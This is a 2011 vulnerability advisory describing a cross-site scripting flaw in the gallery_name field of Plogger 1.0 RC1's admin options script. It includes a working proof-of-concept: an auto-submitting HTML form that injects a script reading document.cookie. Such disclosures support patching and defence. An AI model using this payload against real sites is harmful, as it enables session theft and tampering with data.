Vulnerability ID: HTB22926 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_plogger.html Product: Plogger Vendor: Plogger Team ( http://www.plogger.org/ ) Vulnerable Version: 1.0 RC1 Vendor Notification: 29 March 2011 Vulnerability Type: XSS Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "plog-admin/plog-options.php" script to properly sanitize user-supplied input in "gallery_name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/plog-admin/plog-options.php"; method="post"> <input type="hidden" name="gallery_name" value='my gallery"><script>alert(document.cookie)</script>'> <input type="hidden" name="gallery_url" value="http://host/";> <input type="hidden" name="admin_username" value="Ildar"> <input type="hidden" name="admin_email" value="valeevildar@xxxxx"> <input type="hidden" name="admin_password" value=""> <input type="hidden" name="confirm_admin_password" value=""> <input type="submit" id="btn" name="submit" value="Update Options"> </form> <script> document.getElementById('btn').click(); </script>
